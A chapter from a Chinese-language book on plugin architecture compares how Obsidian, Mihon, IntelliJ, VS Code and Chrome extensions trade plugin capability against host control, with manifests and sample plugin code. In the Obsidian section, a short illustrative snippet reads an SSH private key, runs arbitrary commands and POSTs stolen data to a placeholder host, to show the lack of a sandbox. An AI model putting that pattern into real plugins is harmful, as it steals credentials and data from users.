五个系统,一根轴
Obsidian 让插件读你磁盘上的任何文件,Chrome 连读一个网页都要单独申请权限 —— 这两个东西居然是同一类系统。这一章把五个真实系统摆在同一根轴上:插件能拿到多少能力 ←→ 宿主保留多少控制。你会发现它们不是五种技术,是同一个问题的五个报价。
先把轴立起来
这根轴的两头是这样的:
- 最左端:插件就是宿主自己的代码。同一个进程、同一个运行时、同样的权限,想干什么干什么。能力无上限,控制为零。
- 最右端:插件是一个被关在笼子里的租客。跑在别的进程、别的运行时里,每一样能力都要单独申请、由用户批准,宿主随时能把它掐掉。控制最大,能力被切得很碎。
五个系统在这根轴上从左到右依次是:Obsidian → Mihon → IntelliJ → VS Code → Chrome 扩展。
点一下每个名字,看它对五个问题(发现 / 加载 / 契约 / 隔离 / 演化)分别怎么答:
下面挨个拆开。每一节我都会给出这个系统里插件真实的样子 —— 不是示意代码,是你真去写一个插件时要写的东西。
Obsidian:把钥匙直接给你
Obsidian 是一个基于 Electron 的笔记应用。它的插件是这样的两个文件:
// manifest.json
{
"id": "my-plugin",
"name": "我的插件",
"version": "1.0.0",
"minAppVersion": "1.5.0",
"description": "干点什么",
"isDesktopOnly": false
}
// main.js(由 TypeScript 编译出来)
const { Plugin, Notice } = require('obsidian');
module.exports = class MyPlugin extends Plugin {
async onload() {
this.addCommand({
id: 'say-hi',
name: '打个招呼',
callback: () => new Notice('嗨'),
});
// 注意这个 registerEvent —— 第 13 章会专门讲它为什么重要
this.registerEvent(
this.app.workspace.on('file-open', (file) => {
console.log('打开了', file?.path);
})
);
}
onunload() {
// 释放资源。但上面 registerEvent 登记的东西,Obsidian 会自动帮你收
}
};
看起来平平无奇。关键在于它没有说的那部分:这段 main.js 是被 Obsidian 在自己的 Electron 渲染进程里直接加载的。这意味着它可以:
// 插件里完全可以写这些 —— 没有任何东西拦着
const fs = require('fs');
fs.readFileSync('/Users/you/.ssh/id_rsa'); // 读你的私钥
fs.writeFileSync('/Users/you/任何位置', '任何东西'); // 写任何文件
require('child_process').exec('任何命令'); // 执行任何命令
fetch('https://any.where', { method: 'POST', body: 偷到的东西 });
这不是漏洞,这是设计。Obsidian 官方文档说得非常直白:由于技术上的限制,Obsidian 无法可靠地把插件限制在特定权限或访问级别内,插件继承 Obsidian 本身的访问能力,可以访问你电脑上的文件。
Obsidian 选择用非技术手段来管这件事,一共三层:
① 默认不让跑。新装的 Obsidian 处在「受限模式」(Restricted Mode),第三方插件全部不执行。你必须自己去关掉这个开关 —— 这是一个刻意做得有点麻烦的动作,逼你意识到自己在干什么。
② 上架前扫描。官方会对社区插件的每个版本做自动扫描(安全漏洞、代码质量、恶意代码),结果以「安全评分卡」的形式展示。
③ 剩下的交给你。文档的建议本质上是:只装你信任的作者的插件。
这套做法一直有争议,批评者认为「审核 + 提示」在一个完全没有沙箱的系统里托不住底。但也必须承认另一面:Obsidian 的插件生态是所有笔记软件里最繁荣的,因为插件作者真的什么都能做 —— 装个数据库、跑个本地模型、接管整个渲染管线,没有任何 API 需要等官方开放。
Mihon:插件是一个独立安装的 App
Mihon 的做法在五个里面最不寻常,也最有意思:它的每个扩展,都是一个真正的、独立安装在你手机上的 Android APK。
扩展的 AndroidManifest.xml 长这样(这是它能被认出来的关键):
<manifest>
<!-- ① 一面旗子:我是一个 Tachiyomi 扩展 -->
<uses-feature android:name="tachiyomi.extension" />
<application>
<!-- ② 告诉宿主:我的 Source 实现类叫什么 -->
<meta-data
android:name="tachiyomi.extension.class"
android:value="eu.kanade.tachiyomi.extension.zh.example.ExampleSource" />
<!-- ③ 我是按哪一版扩展库写的 -->
<meta-data
android:name="tachiyomix.extensionLib"
android:value="1.6" />
</application>
</manifest>
而扩展的代码本体,就是一个普通的 Kotlin 类:
class ExampleSource : ParsedHttpSource() {
override val name = "示例漫画站"
override val baseUrl = "https://example-manga.test"
override val lang = "zh"
override val supportsLatest = true
// 宿主问:热门列表在哪个 URL?
override fun popularMangaRequest(page: Int) =
GET("$baseUrl/popular?page=$page", headers)
// 宿主问:这一页 HTML 里,每个条目用什么选择器?
override fun popularMangaSelector() = "div.item"
// 宿主问:给你一个条目元素,抽出漫画信息
override fun popularMangaFromElement(element: Element) = SManga.create().apply {
title = element.select("h3.t").text()
setUrlWithoutDomain(element.select("a").attr("href"))
thumbnail_url = element.select("img").attr("data-src")
}
// …… 还有章节列表、图片列表等等
}
注意这个契约的形状:宿主负责所有「难而通用」的事 —— 发 HTTP 请求、管理 Cookie、下载图片、存数据库、渲染阅读器、处理翻页手势。扩展只负责一件「简单但一千个人各不相同」的事:这个网站的 HTML 长什么样。
这个划分是 Mihon 成功的核心。它把一个「需要懂 Android 开发」的任务,降级成了「会写 CSS 选择器就行」,于是社区里几百个人能同时供养上千个源。
Mihon 加载扩展的流程,比大多数人想的要硬核:
① 发现:向 Android 的 PackageManager 要出所有已安装的包,筛出那些 reqFeatures 里带 tachiyomi.extension 的。也就是说,扩展是被 Android 系统正经安装的,不是下载到私有目录的一个文件。
② 校验版本:从 meta-data 里读出扩展库版本,比对宿主的支持列表 —— 撰写本书时(2026 年 7 月)主分支上这个列表是 listOf(1.4, 1.6),对不上就整个不加载。
③ 校验签名:算出签名证书的 SHA-256,交给信任机制检查。不在信任列表里的扩展会被标成 Untrusted,需要用户手动确认 —— 这是 Mihon 在没有沙箱的情况下唯一的防线:它不保证扩展是安全的,只保证它确实是那个作者签的、装上之后没被换过。
④ 加载类:用一个自定义的 ChildFirstPathClassLoader 加载扩展的 DEX(第 10 章会讲「子优先」意味着什么),然后 Class.forName(...).getDeclaredConstructor().newInstance() —— 老老实实的反射。
⑤ 拿到对象:实例化出来的东西必须是 Source 或 SourceFactory。如果是工厂,就调 createSources() 拿到一批源(一个 APK 提供多个站点时用这个)。
来源:mihonapp/mihon 主分支 ExtensionLoader.kt,2026 年 7 月核对。版本号这类东西会变,去仓库里看最新的。
为什么要费这么大劲用 APK?因为它白得了 Android 的整套基础设施:安装、更新、签名验证、卸载、权限模型,全都是系统现成的。代价是扩展必须走 Android 的安装流程(用户要点「允许安装未知来源」),而且扩展的代码最终还是跑在 Mihon 自己的进程里,和 Mihon 同权限 —— 类加载器隔离的是类空间,不是安全边界。
IntelliJ:用 XML 声明,用类加载器隔离
IntelliJ 平台(IDEA、Android Studio、PyCharm 都是它)的插件系统是五个里面最庞大、也最「企业级」的。它的核心概念叫扩展点(Extension Point,EP)。
平台定义一个扩展点,插件在 plugin.xml 里填实现:
<idea-plugin>
<id>com.example.myplugin</id>
<name>我的插件</name>
<vendor>me</vendor>
<!-- 我依赖哪些插件 / 模块(也决定了我能看见谁的类) -->
<depends>com.intellij.modules.platform</depends>
<!-- 我往平台的扩展点里填了什么 -->
<extensions defaultExtensionNs="com.intellij">
<toolWindow id="MyWindow" factoryClass="com.example.MyToolWindowFactory"/>
<localInspection
language="JAVA"
implementationClass="com.example.MyInspection"
displayName="别这么写"/>
</extensions>
<!-- 我自己也可以开扩展点,让别的插件来填我 -->
<extensionPoints>
<extensionPoint name="myFeature" interface="com.example.MyFeature"/>
</extensionPoints>
</idea-plugin>
这里有三件事值得注意:
① 契约是「声明式」的。插件不是调用一个 registerInspection() 函数,而是在 XML 里写下一行数据。平台在需要的时候才去实例化 MyInspection。这带来一个巨大的好处:平台不跑插件的任何代码,就能知道它提供了什么。(这个思路在 VS Code 那里被推到了极致,第 5 章细讲。)
② 插件可以自己开扩展点。注意最后那段 <extensionPoints> —— 插件也能成为别人的宿主。Kotlin 插件、Python 插件都是这么被其它插件扩展的。「宿主」和「插件」在这里不是两种东西,是同一种东西的两个角色。
③ 每个插件一个类加载器。这是 IntelliJ 最重要的隔离手段:每个插件拿到一个专属的类加载器,先找自己的类,找不到才去问 IDE 主加载器和它声明依赖的那些插件。这让两个插件可以各自打包不同版本的同一个库而互不干扰 —— 代价是那个所有 JVM 插件开发者都见过的经典异常,第 10 章会让你亲手把它复现出来。
类加载器隔离听起来很像沙箱,但它完全不是安全边界:插件和 IDE 在同一个 JVM、同一批线程里跑。
所以:插件里一个死循环 → 整个 IDE 转圈;插件里一个 System.exit() → IDE 直接没了;插件读你的项目源码上传到任何地方 → 没有任何东西拦得住。
IntelliJ 能做的只是事后归因:检测到 UI 冻结时,把卡顿的调用栈抓下来,如果栈里有某个插件的类,就告诉你「插件 X 可能导致了卡顿」。这是法医,不是保安。
VS Code:把插件请出主进程,也请出 DOM
VS Code 做了五个系统里最果断的一刀:插件不跑在 UI 进程里,而是跑在一个独立的 Node 进程 —— extension host 里。
插件的清单是一个 package.json:
{
"name": "my-extension",
"engines": { "vscode": "^1.90.0" },
"main": "./out/extension.js",
"activationEvents": ["onLanguage:python"],
"contributes": {
"commands": [
{ "command": "myExt.sayHi", "title": "打个招呼" }
],
"menus": {
"editor/context": [
{ "command": "myExt.sayHi", "when": "editorHasSelection" }
]
},
"configuration": {
"properties": {
"myExt.greeting": { "type": "string", "default": "嗨" }
}
}
}
}
// extension.js
const vscode = require('vscode');
function activate(context) {
const d = vscode.commands.registerCommand('myExt.sayHi', () => {
vscode.window.showInformationMessage('嗨');
});
// 登记进 subscriptions,卸载时自动回收(和 Obsidian 的 registerEvent 同一个思路)
context.subscriptions.push(d);
}
function deactivate() {}
module.exports = { activate, deactivate };
这份清单里藏着 VS Code 插件系统的两个核心思想。
思想一:能声明的,绝不用代码
注意 contributes 段:命令的名字、右键菜单的位置、配置项的类型和默认值 —— 全都是数据,不是代码。VS Code 读完这份 JSON 就能把菜单画出来、把命令列进命令面板、把设置项显示在设置界面里,而插件的 JS 一行都还没跑。
这直接换来了:启动飞快(第 21 章会算这笔账)、插件安装后不重启就能看到菜单、以及市场页面上能准确列出插件提供的功能。
思想二:插件不许碰 DOM
VS Code 的界面是网页技术做的,但插件拿不到 document。想加个视图?在 contributes.views 里声明,然后往里填数据 —— 像素由 VS Code 画。
官方给的理由有两条,都很实在:
- 稳定性与性能:插件在独立进程里,卡死也卡不到编辑器;
- 演化自由:如果插件能直接操作 DOM,它们必然会依赖 DOM 的具体结构,那 VS Code 就再也不能改自己的界面了。不给 DOM,就保住了自己的重构自由。
这一刀的代价,是插件 API 里几乎所有东西都变成了异步:跨进程调用要序列化成消息、发过去、等回来,不可能同步返回。第 18 章你会亲手搭一座这样的桥,看着消息在边界上来回。
值。而且这是全书我最想让你记住的设计案例。
VS Code 用一个看起来很严厉的限制(不给 DOM),同时买到了四样东西:插件卡不死编辑器、界面风格天然统一、VS Code 能自由重构 UI、插件在 Web 版和远程开发里也能跑(因为它本来就不依赖本地 DOM)。
一个好的约束不是「少给了什么」,而是「因此不用再操心什么」。这个判断标准,你在设计自己的插件 API 时会反复用到。
Chrome 扩展:把「能力」拆成一条条去要
Chrome 扩展面对的是最恶劣的环境:几亿用户、任何人都能上传、装上就能碰到你所有网页里的所有数据(银行、邮箱、公司内网)。所以它的控制力度是五个里面最强的。
// manifest.json(Manifest V3)
{
"manifest_version": 3,
"name": "我的扩展",
"version": "1.0.0",
// 装的时候就要用户点头的权限
"permissions": ["storage", "activeTab"],
// 想访问哪些网站 —— 这一项会在安装时显示成醒目的警告
"host_permissions": ["https://example.com/*"],
// 用得着再问的权限
"optional_permissions": ["topSites"],
"background": { "service_worker": "sw.js" },
"content_scripts": [{
"matches": ["https://example.com/*"],
"js": ["content.js"]
}]
}
三个机制值得单独说:
① 权限是一条条要的,而且用户看得见
不是「给我全部能力」,而是 storage、tabs、cookies 这样一项一项声明。permissions 和 host_permissions 会在安装时翻译成人话弹给用户看(「读取和更改你在 example.com 上的所有数据」);optional_permissions 则可以推迟到真正要用的那一刻再弹窗。
最巧妙的是 activeTab:它不预先给你任何网站的权限,但当用户主动点击你的扩展图标时,临时授予当前这一个标签页的访问权。它把「用户的意图」本身变成了一次授权 —— 这是权限设计里非常漂亮的一手,第 17 章会详谈。
② 独立世界(isolated world)
content script 会被注入到网页里,能读写这个页面的 DOM。但它的 JavaScript 跑在一个独立世界里:
// 网页自己的脚本
window.secret = '页面的数据';
window.jQuery = 某个版本;
// 你的 content script —— 同一个页面,不同的世界
console.log(window.secret); // undefined,看不见页面的变量
window.jQuery = 另一个版本; // 不会影响页面的 jQuery
document.querySelector('h1'); // 但 DOM 是共享的,读写都没问题
DOM 共享,JS 变量空间隔离。这一刀切得极其精准:扩展要干的活(改页面内容)全都需要 DOM,而扩展和页面互相搞坏对方的最常见方式(覆盖全局变量、篡改原型链)全都发生在 JS 变量空间。它只切断了后者。
顺带解决了另一个问题:多个扩展装在同一个页面上互不干扰,各在各的世界里。
③ content script 拿不到大部分扩展 API
content script 被注入进了不可信的页面,所以它自己也被当成半个不可信的东西:它只能用一小撮 API(storage、i18n、以及 runtime.sendMessage 这类通信方法)。想干别的?发消息给后台的 service worker,让它去干。
// content.js —— 在页面里,权力很小
chrome.runtime.sendMessage({ type: 'fetchData', url: '...' }, (resp) => {
document.querySelector('#box').textContent = resp.data;
});
// sw.js —— 在后台,权力大一些,但碰不到页面 DOM
chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {
if (msg.type === 'fetchData') {
fetch(msg.url).then(r => r.text()).then(data => sendResponse({ data }));
return true; // 异步回复
}
});
看这个形状 —— 它和 VS Code 的 extension host 是同一个思路:把「能碰界面的部分」和「能力大的部分」分成两半,中间用消息连接,谁也不能同时拥有两样。
Chrome 这套控制力不是白来的。2018 年起,Google 推动从 Manifest V2 迁到 V3,其中最有争议的一刀是:把后台常驻页面换成按需唤醒的 service worker,并把网络拦截从「你写代码逐个请求判断」换成「你提前声明规则、由浏览器执行」(declarativeNetRequest)。
安全和性能上这是巨大的进步 —— 扩展再也不能在后台常驻一段任意代码来窥视你的每一个请求。但它也确实削弱了一批广告拦截器的能力,社区争论了很多年。
迁移用了多久?2025 年 7 月起,MV2 扩展在稳定版 Chrome 上彻底停止运行;到 2026 年 8 月 31 日,商店会下架最后一批 MV2 扩展。从提出到彻底完成,超过五年。
来源:Chrome for Developers 的 MV2 弃用时间线,2026 年 7 月核对。
记住这个数字:五年。这就是第 1 章说的「开门是不可逆的」—— 哪怕你是 Google,改一个已经发布的插件契约,也要用年做单位。
把五张答卷叠在一起
| Obsidian | Mihon | IntelliJ | VS Code | Chrome | |
|---|---|---|---|---|---|
| 插件形态 | 一个 main.js | 一个 APK | jar + plugin.xml | npm 包 + package.json | manifest.json + 脚本 |
| 跑在哪 | 宿主渲染进程 | 宿主进程 | 宿主 JVM | 独立进程 | 独立世界 / 独立 worker |
| 契约风格 | 继承基类 | 实现接口 | XML 声明 + 接口 | JSON 声明 + API | JSON 声明 + API |
| 能碰 UI 吗 | 整个 DOM,随便改 | 宿主给的几个位置 | 能,深度定制 | 不能,只能声明 | 页面 DOM 能,浏览器 UI 不能 |
| 权限模型 | 无 | 无(有签名信任) | 无 | 无(靠进程边界) | 逐项声明 + 用户批准 |
| 插件卡死会怎样 | 应用卡死 | 应用卡死 | IDE 卡死 | 编辑器没事 | 浏览器没事 |
| 换来的东西 | 创造力无上限 | 长尾覆盖 + 系统级分发 | 深度改造 IDE | 稳定 + 统一 + 可远程 | 敢让任何人上传 |
不要读成「谁更先进」。要读成「谁在为谁的处境做优化」:
Chrome 面对的是几亿陌生用户 + 任何人可上传 + 数据极度敏感,它必须把控制拉满,能力被切碎是可接受的代价。
Obsidian 面对的是几十万愿意折腾的深度用户 + 一个靠创造力活着的生态,它把能力拉满,把风险明示给用户 —— 因为一旦加上沙箱,那些「接管整个渲染管线」的插件就死了,而那恰恰是它的护城河。
两个都是对的,因为它们在解不同的题。你造自己的插件系统时要先回答的,不是「用什么技术」,而是「我的处境更像谁」。
装到自己身上
下次你遇到任何一个插件系统(包括你自己要设计的),拿这四个问题去问它,三分钟就能摸清它的性格:
① 插件和宿主在同一个进程/运行时里吗?——「是」就意味着:没有真正的安全隔离,插件卡死=应用卡死,你的防线只能是社区审核和签名。
② 宿主不执行插件代码,能知道它提供了什么吗?——「能」就意味着:有清单、能懒加载、启动快、市场页面信息准确。「不能」意味着必须全量加载,启动会随插件数线性变慢。
③ 插件能直接画界面吗?——「能」意味着 UI 会很自由但风格失控,而且宿主从此不敢重构界面。「不能」意味着要设计一整套声明式贡献点,前期成本高但后患少。
④ 权限是「全有」还是「一条条给」?——「全有」的系统,安全完全依赖分发环节(审核、签名、商店);「一条条给」的系统,需要一整套用户能看懂的权限词汇表,这本身是很难的产品设计。
这四个问题的答案,基本决定了一个插件系统剩下的所有样子。你会发现它们高度相关:回答①「是」的系统,通常②③也宽松、④是「全有」—— 因为它们本来就选在轴的同一头。
这一章的一句话
五个系统不是五种技术,是同一笔交易的五个报价;报价的高低不取决于技术水平,取决于「插件作者是谁、用户是谁、出事的代价有多大」。
下一章,我们把这五张答卷背后共同的那张问卷抽出来 —— 所有插件系统都在回答同样的五个问题。那五个问题,就是这本书剩下二十一章的地图。